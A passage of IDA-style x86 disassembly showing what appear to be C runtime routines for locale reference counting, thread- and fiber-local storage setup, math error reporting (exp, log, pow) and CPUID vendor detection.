loc_42010E:				; CODE XREF: sub_4200C7+21j
					; sub_4200C7+26j
		cmp	ecx, 0BCh
		jb	short loc_42012C
		cmp	ecx, 0CAh
		ja	short loc_42012C
		call	sub_4203B6
		mov	dword ptr [eax+8], 8
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42012C:				; CODE XREF: sub_4200C7+4Dj
					; sub_4200C7+55j
		call	sub_4203B6
		mov	dword ptr [eax+8], 16h
		pop	esi
		retn
sub_4200C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42013A	proc near		; CODE XREF: sub_41CA85+37p
					; sub_41D514+2Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		mov	ecx, [ebp+arg_0]
		ja	short loc_420158
		mov	ecx, [ecx+48h]
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4201AC
; ---------------------------------------------------------------------------

loc_420158:				; CODE XREF: sub_42013A+13j
		push	esi
		mov	edx, eax
		sar	edx, 8
		push	edi
		mov	edi, [ecx+48h]
		movzx	esi, dl
		test	byte ptr [edi+esi*2+1],	80h
		pop	edi
		pop	esi
		jz	short loc_42017D
		push	2
		mov	[ebp+var_3], al
		mov	[ebp+var_4], dl
		mov	[ebp+var_2], 0
		pop	eax
		jmp	short loc_420187
; ---------------------------------------------------------------------------

loc_42017D:				; CODE XREF: sub_42013A+32j
		mov	[ebp+var_4], al
		xor	eax, eax
		mov	[ebp+var_3], 0
		inc	eax

loc_420187:				; CODE XREF: sub_42013A+41j
		push	1
		push	dword ptr [ecx+14h]
		push	dword ptr [ecx+4]
		lea	ecx, [ebp+arg_4+2]
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4242B5
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4201A8
		leave
		retn
; ---------------------------------------------------------------------------

loc_4201A8:				; CODE XREF: sub_42013A+6Aj
		movzx	eax, word ptr [ebp+arg_4+2]

loc_4201AC:				; CODE XREF: sub_42013A+1Cj
		and	eax, [ebp+arg_8]
		leave
		retn
sub_42013A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B1	proc near		; CODE XREF: sub_420281+B6p
					; sub_420427+10Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+3Ch]
		push	edi
		xor	edi, edi
		cmp	eax, ds:dword_435854
		jz	short loc_420227
		cmp	eax, edi
		jz	short loc_420227
		mov	eax, [esi+2Ch]
		cmp	[eax], edi
		jnz	short loc_420227
		mov	eax, [esi+34h]
		cmp	eax, edi
		jz	short loc_4201F2
		cmp	[eax], edi
		jnz	short loc_4201F2
		cmp	eax, ds:dword_438444
		jz	short loc_4201F2
		push	eax
		call	sub_41C2DD
		push	dword ptr [esi+3Ch]
		call	sub_42465E
		pop	ecx
		pop	ecx

loc_4201F2:				; CODE XREF: sub_4201B1+23j
					; sub_4201B1+27j ...
		mov	eax, [esi+30h]
		cmp	eax, edi
		jz	short loc_420215
		cmp	[eax], edi
		jnz	short loc_420215
		cmp	eax, ds:dword_438448
		jz	short loc_420215
		push	eax
		call	sub_41C2DD
		push	dword ptr [esi+3Ch]
		call	sub_4245FF
		pop	ecx
		pop	ecx

loc_420215:				; CODE XREF: sub_4201B1+46j
					; sub_4201B1+4Aj ...
		push	dword ptr [esi+2Ch]
		call	sub_41C2DD
		push	dword ptr [esi+3Ch]
		call	sub_41C2DD
		pop	ecx
		pop	ecx

loc_420227:				; CODE XREF: sub_4201B1+11j
					; sub_4201B1+15j ...
		mov	eax, [esi+40h]
		cmp	eax, ds:dword_438440
		jz	short loc_420250
		cmp	eax, edi
		jz	short loc_420250
		cmp	[eax], edi
		jnz	short loc_420250
		push	eax
		call	sub_41C2DD
		mov	eax, [esi+44h]
		sub	eax, 0FEh
		push	eax
		call	sub_41C2DD
		pop	ecx
		pop	ecx

loc_420250:				; CODE XREF: sub_4201B1+7Fj
					; sub_4201B1+83j ...
		mov	eax, [esi+50h]
		cmp	eax, ds:dword_435850
		jz	short loc_420277
		cmp	eax, edi
		jz	short loc_420277
		cmp	[eax+0B4h], edi
		jnz	short loc_420277
		push	eax
		call	sub_42446F
		push	dword ptr [esi+50h]
		call	sub_41C2DD
		pop	ecx
		pop	ecx

loc_420277:				; CODE XREF: sub_4201B1+A8j
					; sub_4201B1+ACj ...
		push	esi
		call	sub_41C2DD
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_4201B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420281	proc near		; CODE XREF: sub_420342+18p
		push	esi
		call	sub_4203B6
		mov	esi, eax
		mov	ecx, [esi+64h]
		cmp	ecx, ds:off_433444
		jz	loc_42033D
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_4202CD
		mov	eax, [ecx+2Ch]
		dec	dword ptr [ecx]
		cmp	eax, edx
		jz	short loc_4202A9
		dec	dword ptr [eax]

loc_4202A9:				; CODE XREF: sub_420281+24j
		mov	eax, [ecx+34h]
		cmp	eax, edx
		jz	short loc_4202B2
		dec	dword ptr [eax]

loc_4202B2:				; CODE XREF: sub_420281+2Dj
		mov	eax, [ecx+30h]
		cmp	eax, edx
		jz	short loc_4202BB
		dec	dword ptr [eax]

loc_4202BB:				; CODE XREF: sub_420281+36j
		mov	eax, [ecx+40h]
		cmp	eax, edx
		jz	short loc_4202C4
		dec	dword ptr [eax]

loc_4202C4:				; CODE XREF: sub_420281+3Fj
		mov	eax, [ecx+4Ch]
		dec	dword ptr [eax+0B4h]

loc_4202CD:				; CODE XREF: sub_420281+1Bj
		mov	eax, ds:off_433444
		mov	[esi+64h], eax
		mov	eax, ds:off_433444
		inc	dword ptr [eax]
		mov	eax, ds:off_433444
		cmp	[eax+2Ch], edx
		jz	short loc_4202F0
		mov	eax, [eax+2Ch]
		inc	dword ptr [eax]
		mov	eax, ds:off_433444

loc_4202F0:				; CODE XREF: sub_420281+63j
		cmp	[eax+34h], edx
		jz	short loc_4202FF
		mov	eax, [eax+34h]
		inc	dword ptr [eax]
		mov	eax, ds:off_433444

loc_4202FF:				; CODE XREF: sub_420281+72j
		cmp	[eax+30h], edx
		jz	short loc_42030E
		mov	eax, [eax+30h]
		inc	dword ptr [eax]
		mov	eax, ds:off_433444

loc_42030E:				; CODE XREF: sub_420281+81j
		cmp	[eax+40h], edx
		jz	short loc_42031D
		mov	eax, [eax+40h]
		inc	dword ptr [eax]
		mov	eax, ds:off_433444

loc_42031D:				; CODE XREF: sub_420281+90j
		mov	eax, [eax+4Ch]
		inc	dword ptr [eax+0B4h]
		cmp	ecx, edx
		jz	short loc_42033D
		cmp	[ecx], edx
		jnz	short loc_42033D
		cmp	ecx, offset dword_4333F0
		jz	short loc_42033D
		push	ecx
		call	sub_4201B1
		pop	ecx

loc_42033D:				; CODE XREF: sub_420281+11j
					; sub_420281+A7j ...
		mov	eax, [esi+64h]
		pop	esi
		retn
sub_420281	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420342	proc near		; CODE XREF: sub_41CA85+17p
					; sub_41D514+12p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_429DF0
		call	__SEH_prolog
		push	0Ch
		call	sub_41E983
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_420281
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_420374
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_420342	endp


; =============== S U B	R O U T	I N E =======================================



sub_420374	proc near		; CODE XREF: sub_420342+24p
					; DATA XREF: .text:stru_429DF0o
		push	0Ch
		call	sub_41E8CE
		pop	ecx
		retn
sub_420374	endp


; =============== S U B	R O U T	I N E =======================================



sub_42037D	proc near		; CODE XREF: sub_42059D+94p
					; DATA XREF: sub_42059D+80o ...
		call	ds:dword_42917C	; TlsAlloc
		retn	4
sub_42037D	endp


; =============== S U B	R O U T	I N E =======================================



sub_420386	proc near		; CODE XREF: sub_42059D+9p
					; sub_42059D:loc_420682p
		mov	eax, ds:dword_43357C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42039E
		push	eax
		call	ds:dword_4356B8	; TlsFree
		or	ds:dword_43357C, 0FFFFFFFFh

loc_42039E:				; CODE XREF: sub_420386+8j
		jmp	sub_41E879
sub_420386	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203A3	proc near		; CODE XREF: sub_41D7F8+33p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword ptr [eax+54h], offset dword_433810
		mov	dword ptr [eax+14h], 1
		retn
sub_4203A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203B6	proc near		; CODE XREF: sub_41CA85+7p
					; sub_41CE46+14p ...
		push	ebx
		push	esi
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		push	ds:dword_43357C
		mov	ebx, eax
		call	ds:dword_4356B0	; TlsGetValue
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42041B
		push	8Ch
		push	1
		call	sub_421909
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_420413
		push	esi
		push	ds:dword_43357C
		call	ds:dword_4356B4	; TlsSetValue
		test	eax, eax
		jz	short loc_420413
		mov	dword ptr [esi+54h], offset dword_433810
		mov	dword ptr [esi+14h], 1
		call	ds:dword_4291A4	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_42041B
; ---------------------------------------------------------------------------

loc_420413:				; CODE XREF: sub_4203B6+2Ej
					; sub_4203B6+3Fj
		push	10h
		call	sub_41DC6D
		pop	ecx

loc_42041B:				; CODE XREF: sub_4203B6+1Aj
					; sub_4203B6+5Bj
		push	ebx
		call	ds:dword_429078	; RtlRestoreLastWin32Error
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4203B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420427	proc near		; CODE XREF: sub_42056E+1Bp
					; DATA XREF: sub_42059D:loc_42062Co

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset stru_429E00
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		cmp	esi, edi
		jz	loc_42054C
		mov	eax, [esi+24h]
		cmp	eax, edi
		jz	short loc_42044E
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_42044E:				; CODE XREF: sub_420427+1Ej
		mov	eax, [esi+2Ch]
		cmp	eax, edi
		jz	short loc_42045C
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_42045C:				; CODE XREF: sub_420427+2Cj
		mov	eax, [esi+34h]
		cmp	eax, edi
		jz	short loc_42046A
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_42046A:				; CODE XREF: sub_420427+3Aj
		mov	eax, [esi+3Ch]
		cmp	eax, edi
		jz	short loc_420478
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_420478:				; CODE XREF: sub_420427+48j
		mov	eax, [esi+44h]
		cmp	eax, edi
		jz	short loc_420486
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_420486:				; CODE XREF: sub_420427+56j
		mov	eax, [esi+48h]
		cmp	eax, edi
		jz	short loc_420494
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_420494:				; CODE XREF: sub_420427+64j
		mov	eax, [esi+54h]
		cmp	eax, offset dword_433810
		jz	short loc_4204A5
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_4204A5:				; CODE XREF: sub_420427+75j
		push	0Dh
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [esi+60h]
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jz	short loc_4204CD
		dec	dword ptr [eax]
		jnz	short loc_4204CD
		cmp	eax, ds:dword_438204
		jz	short loc_4204CD
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_4204CD:				; CODE XREF: sub_420427+91j
					; sub_420427+95j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_420559
		push	0Ch
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], 1
		mov	eax, [esi+64h]
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_42053C
		dec	dword ptr [eax]
		cmp	[eax+2Ch], edi
		jz	short loc_4204FB
		mov	ecx, [eax+2Ch]
		dec	dword ptr [ecx]

loc_4204FB:				; CODE XREF: sub_420427+CDj
		cmp	[eax+34h], edi
		jz	short loc_420505
		mov	ecx, [eax+34h]
		dec	dword ptr [ecx]

loc_420505:				; CODE XREF: sub_420427+D7j
		cmp	[eax+30h], edi
		jz	short loc_42050F
		mov	ecx, [eax+30h]
		dec	dword ptr [ecx]

loc_42050F:				; CODE XREF: sub_420427+E1j
		cmp	[eax+40h], edi
		jz	short loc_420519
		mov	ecx, [eax+40h]
		dec	dword ptr [ecx]

loc_420519:				; CODE XREF: sub_420427+EBj
		mov	ecx, [eax+4Ch]
		dec	dword ptr [ecx+0B4h]
		cmp	eax, ds:off_433444
		jz	short loc_42053C
		cmp	eax, offset dword_4333F0
		jz	short loc_42053C
		cmp	[eax], edi
		jnz	short loc_42053C
		push	eax
		call	sub_4201B1
		pop	ecx

loc_42053C:				; CODE XREF: sub_420427+C6j
					; sub_420427+101j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_420565
		push	esi
		call	sub_41C2DD
		pop	ecx

loc_42054C:				; CODE XREF: sub_420427+13j
		call	__SEH_epilog
		retn	4
sub_420427	endp


; =============== S U B	R O U T	I N E =======================================



sub_420554	proc near		; DATA XREF: .text:stru_429E00o
		xor	edi, edi
		mov	esi, [ebp+8]
sub_420554	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420559	proc near		; CODE XREF: sub_420427+AAp
		push	0Dh
		call	sub_41E8CE
		pop	ecx
		retn
sub_420559	endp


; =============== S U B	R O U T	I N E =======================================



sub_420562	proc near		; DATA XREF: .text:00429E14o
		mov	esi, [ebp+8]
sub_420562	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420565	proc near		; CODE XREF: sub_420427+119p
		push	0Ch
		call	sub_41E8CE
		pop	ecx
		retn
sub_420565	endp


; =============== S U B	R O U T	I N E =======================================



sub_42056E	proc near		; CODE XREF: sub_41D732+20p

arg_0		= dword	ptr  4

		mov	ecx, ds:dword_43357C
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_42059C
		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_420588
		push	ecx
		call	ds:dword_4356B0	; TlsGetValue

loc_420588:				; CODE XREF: sub_42056E+11j
		push	eax
		call	sub_420427
		push	0
		push	ds:dword_43357C
		call	ds:dword_4356B4	; TlsSetValue

locret_42059C:				; CODE XREF: sub_42056E+9j
		retn
sub_42056E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42059D	proc near		; CODE XREF: start:loc_41DD91p
		call	sub_41E830
		test	eax, eax
		jnz	short loc_4205AE
		call	sub_420386
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4205AE:				; CODE XREF: sub_42059D+7j
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ds:dword_4290BC	; GetModuleHandleA
		mov	edi, eax
		test	edi, edi
		jz	short loc_42062C
		mov	esi, ds:dword_4290E0
		push	offset aFlsalloc ; "FlsAlloc"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFlsgetvalue ; "FlsGetValue"
		push	edi
		mov	ds:off_4356AC, eax
		call	esi	; GetProcAddress
		push	offset aFlssetvalue ; "FlsSetValue"
		push	edi
		mov	ds:dword_4356B0, eax
		call	esi	; GetProcAddress
		push	offset aFlsfree	; "FlsFree"
		push	edi
		mov	ds:dword_4356B4, eax
		call	esi	; GetProcAddress
		cmp	ds:dword_4356B0, 0
		mov	ds:dword_4356B8, eax
		jnz	short loc_42062C
		mov	eax, ds:dword_42906C
		mov	ds:dword_4356B0, eax
		mov	eax, ds:dword_429070
		mov	ds:dword_4356B4, eax
		mov	eax, ds:dword_429074
		mov	ds:off_4356AC, offset sub_42037D
		mov	ds:dword_4356B8, eax

loc_42062C:				; CODE XREF: sub_42059D+22j
					; sub_42059D+65j
		push	offset sub_420427
		call	ds:off_4356AC
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_43357C, eax
		jz	short loc_420682
		xor	edi, edi
		push	8Ch
		inc	edi
		push	edi
		call	sub_421909
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_420682
		push	esi
		push	ds:dword_43357C
		call	ds:dword_4356B4	; TlsSetValue
		test	eax, eax
		jz	short loc_420682
		mov	dword ptr [esi+54h], offset dword_433810
		mov	[esi+14h], edi
		call	ds:dword_4291A4	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		mov	eax, edi
		jmp	short loc_420689
; ---------------------------------------------------------------------------

loc_420682:				; CODE XREF: sub_42059D+A2j
					; sub_42059D+B8j ...
		call	sub_420386
		xor	eax, eax

loc_420689:				; CODE XREF: sub_42059D+E3j
		pop	edi
		pop	esi
		retn
sub_42059D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42068C	proc near		; CODE XREF: .text:0041CFB5p
					; .text:0041D195p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, ds:dword_433148
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, 0A1h
		cmp	eax, ecx
		push	esi
		jg	loc_4207BE
		jz	loc_4207B2
		cmp	eax, 18h
		jg	loc_420742
		jz	short loc_42072F
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_420720
		dec	eax
		jz	short loc_420714
		sub	eax, 5
		jz	short loc_420705
		dec	eax
		jz	short loc_4206F9
		sub	eax, 5
		jz	short loc_4206E6
		dec	eax
		jnz	loc_42090F
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	loc_420783
; ---------------------------------------------------------------------------

loc_4206E6:				; CODE XREF: sub_42068C+45j
		mov	[ebp+var_24], 3
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	loc_420845
; ---------------------------------------------------------------------------

loc_4206F9:				; CODE XREF: sub_42068C+40j
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_4208AC
; ---------------------------------------------------------------------------

loc_420705:				; CODE XREF: sub_42068C+3Dj
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_420845
; ---------------------------------------------------------------------------

loc_420714:				; CODE XREF: sub_42068C+38j
		mov	[ebp+var_20], offset aLog ; "log"
		jmp	loc_4208AC
; ---------------------------------------------------------------------------

loc_420720:				; CODE XREF: sub_42068C+35j
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], offset aLog ; "log"
		jmp	loc_420845
; ---------------------------------------------------------------------------

loc_42072F:				; CODE XREF: sub_42068C+2Ej
		mov	[ebp+var_24], 3

loc_420736:				; CODE XREF: sub_42068C+E2j
		mov	[ebp+var_20], offset aPow ; "pow"
		jmp	loc_420845
; ---------------------------------------------------------------------------

loc_420742:				; CODE XREF: sub_42068C+28j
		sub	eax, 19h
		jz	short loc_42077C
		dec	eax
		jz	short loc_420770
		dec	eax
		jz	short loc_420767
		dec	eax
		jz	loc_4208A5
		dec	eax
		jnz	loc_42090F
		mov	[ebp+var_20], offset aPow ; "pow"
		jmp	loc_4208CD
; ---------------------------------------------------------------------------

loc_420767:				; CODE XREF: sub_42068C+BFj
		mov	[ebp+var_24], 2
		jmp	short loc_420736
; ---------------------------------------------------------------------------

loc_420770:				; CODE XREF: sub_42068C+BCj
		mov	eax, [ebp+arg_8]
		fld1
		fstp	qword ptr [eax]
		jmp	loc_42090F
; ---------------------------------------------------------------------------

loc_42077C:				; CODE XREF: sub_42068C+B9j
		mov	[ebp+var_20], offset aPow ; "pow"

loc_420783:				; CODE XREF: sub_42068C+55j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		fstp	[ebp+var_1C]
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		mov	[ebp+var_24], 4
		fstp	[ebp+var_C]
		call	ds:off_433580
		pop	ecx
		jmp	loc_42090A
; ---------------------------------------------------------------------------

loc_4207B2:				; CODE XREF: sub_42068C+1Fj
		mov	[ebp+var_24], 3
		jmp	loc_42083E
; ---------------------------------------------------------------------------

loc_4207BE:				; CODE XREF: sub_42068C+19j
		mov	ecx, 3EAh
		cmp	eax, ecx
		jg	loc_420889
		jz	loc_420880
		sub	eax, 0A2h
		jz	short loc_420837
		sub	eax, 4
		jz	short loc_420827
		sub	eax, 4
		jz	short loc_420817
		dec	eax
		jz	short loc_42080B
		sub	eax, 33Dh
		jz	short loc_4207FF
		dec	eax
		jnz	loc_42090F
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_4208CD
; ---------------------------------------------------------------------------

loc_4207FF:				; CODE XREF: sub_42068C+15Ej
		mov	[ebp+var_20], offset aLog ; "log"
		jmp	loc_4208CD
; ---------------------------------------------------------------------------

loc_42080B:				; CODE XREF: sub_42068C+157j
		mov	[ebp+var_20], offset aLog2 ; "log2"
		jmp	loc_4208AC
; ---------------------------------------------------------------------------

loc_420817:				; CODE XREF: sub_42068C+154j
		mov	[ebp+var_24], 2
		mov	[ebp+var_20], offset aLog2 ; "log2"
		jmp	short loc_420845
; ---------------------------------------------------------------------------

loc_420827:				; CODE XREF: sub_42068C+14Fj
		mov	[ebp+var_24], 3
		mov	[ebp+var_20], offset aExp10 ; "exp10"
		jmp	short loc_420845
; ---------------------------------------------------------------------------

loc_420837:				; CODE XREF: sub_42068C+14Aj
		mov	[ebp+var_24], 4

loc_42083E:				; CODE XREF: sub_42068C+12Dj
		mov	[ebp+var_20], offset aExp2 ; "exp2"

loc_420845:				; CODE XREF: sub_42068C+68j
					; sub_42068C+83j ...
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		fstp	[ebp+var_1C]
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		fstp	[ebp+var_C]
		call	ds:off_433580
		test	eax, eax
		pop	ecx
		jnz	loc_42090A
		call	sub_4200B5
		mov	dword ptr [eax], 22h
		jmp	loc_42090A
; ---------------------------------------------------------------------------

loc_420880:				; CODE XREF: sub_42068C+13Fj
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	short loc_4208CD
; ---------------------------------------------------------------------------

loc_420889:				; CODE XREF: sub_42068C+139j
		sub	eax, 3EBh
		jz	short loc_4208C6
		dec	eax
		jz	short loc_4208BD
		dec	eax
		jz	short loc_4208B4
		dec	eax
		jz	short loc_4208A5
		dec	eax
		jnz	short loc_42090F
		mov	[ebp+var_20], offset aModf ; "modf"
		jmp	short loc_4208CD
; ---------------------------------------------------------------------------

loc_4208A5:				; CODE XREF: sub_42068C+C2j
					; sub_42068C+20Bj
		mov	[ebp+var_20], offset aPow ; "pow"

loc_4208AC:				; CODE XREF: sub_42068C+74j
					; sub_42068C+8Fj ...
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		jmp	short loc_4208D7
; ---------------------------------------------------------------------------

loc_4208B4:				; CODE XREF: sub_42068C+208j
		mov	[ebp+var_20], offset aFloor ; "floor"
		jmp	short loc_4208CD
; ---------------------------------------------------------------------------

loc_4208BD:				; CODE XREF: sub_42068C+205j
		mov	[ebp+var_20], offset aCeil ; "ceil"
		jmp	short loc_4208CD
; ---------------------------------------------------------------------------

loc_4208C6:				; CODE XREF: sub_42068C+202j
		mov	[ebp+var_20], offset aAtan ; "atan"

loc_4208CD:				; CODE XREF: sub_42068C+D6j
					; sub_42068C+16Ej ...
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	esi, [ebp+arg_8]
		fstp	qword ptr [esi]

loc_4208D7:				; CODE XREF: sub_42068C+226j
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		fstp	[ebp+var_1C]
		mov	[ebp+var_24], 1
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		fstp	[ebp+var_C]
		call	ds:off_433580
		test	eax, eax
		pop	ecx
		jnz	short loc_42090A
		call	sub_4200B5
		mov	dword ptr [eax], 21h

loc_42090A:				; CODE XREF: sub_42068C+121j
					; sub_42068C+1DEj ...
		fld	[ebp+var_C]
		fstp	qword ptr [esi]

loc_42090F:				; CODE XREF: sub_42068C+48j
					; sub_42068C+C9j ...
		mov	ecx, [ebp+var_4]
		pop	esi
		call	sub_41E5BB
		leave
		retn
sub_42068C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42091A	proc near		; CODE XREF: .text:004209B0p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_429F10
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_420942
; ---------------------------------------------------------------------------

loc_42093B:				; DATA XREF: .text:stru_429F10o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_42093F:				; DATA XREF: .text:stru_429F10o
		mov	esp, [ebp+ms_exc.old_esp]

loc_420942:				; CODE XREF: sub_42091A+1Fj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_42091A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, ds:dword_433148
		mov	[ebp-4], eax
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], eax
		mov	[ebp-14h], al
		push	ebx
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_42099B
		push	ecx
		popf
		xor	eax, eax
		cpuid
		mov	[ebp-20h], eax
		mov	[ebp-14h], ebx
		mov	[ebp-10h], edx
		mov	[ebp-0Ch], ecx
		mov	eax, 1
		cpuid
		mov	[ebp-1Ch], edx
		mov	[ebp-18h], eax

loc_42099B:				; CODE XREF: .text:0042097Aj
		pop	ebx
		and	ds:dword_439588, 0
		and	ds:dword_439584, 0
		test	byte ptr [ebp-19h], 4
		jz	short loc_420A0F
		call	sub_42091A
		test	eax, eax
		jz	short loc_420A0F
		push	0Ch
		lea	eax, [ebp-14h]
		xor	esi, esi
		push	eax
		inc	esi
		push	offset aAuthenticamd ; "AuthenticAMD"
		mov	ds:dword_439588, esi
		call	sub_41D5B0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420A09
		mov	ecx, [ebp-18h]
		mov	eax, ecx
		sar	eax, 8
		and	eax, 0Fh
		sar	ecx, 14h
		mov	edx, eax
		sub	edx, 0Fh
		and	ecx, 0FFh
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, ecx
		add	edx, eax
		sub	edx, 0Fh
		neg	edx
		sbb	edx, edx
		inc	edx
		mov	[ebp-20h], edx
		jnz	short loc_420A0F

loc_420A09:				; CODE XREF: .text:004209D7j
		mov	ds:dword_439584, esi

loc_420A0F:				; CODE XREF: .text:004209AEj
					; .text:004209B7j ...
		mov	ecx, [ebp-4]
		xor	eax, eax
		call	sub_41E5BB
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_420A1D:				; CODE XREF: .text:0041CF07j
					; .text:0041CF38j
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_433584
		call	sub_425554
		fld	qword ptr [ebp+8]
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, [ebp+0Eh]
		push	ecx
		and	ax, 7FF0h
		cmp	ax, 7FF0h
		push	ecx
		fstp	qword ptr [esp]
		jnz	short loc_420AA3
		call	sub_425426
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_420A86
		cmp	eax, 2
		jle	short loc_420A78
		cmp	eax, 3
		jnz	short loc_420A86
		fld	qword ptr [ebp+8]
		push	ebx
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch
		call	sub_4252E0
		add	esp, 10h
		jmp	short loc_420AEC
; ---------------------------------------------------------------------------

loc_420A78:				; CODE XREF: .text:00420A5Cj
		push	esi
		push	ebx
		call	sub_425554
		fld	qword ptr [ebp+8]
		pop	ecx
		pop	ecx
		jmp	short loc_420AEC
; ---------------------------------------------------------------------------

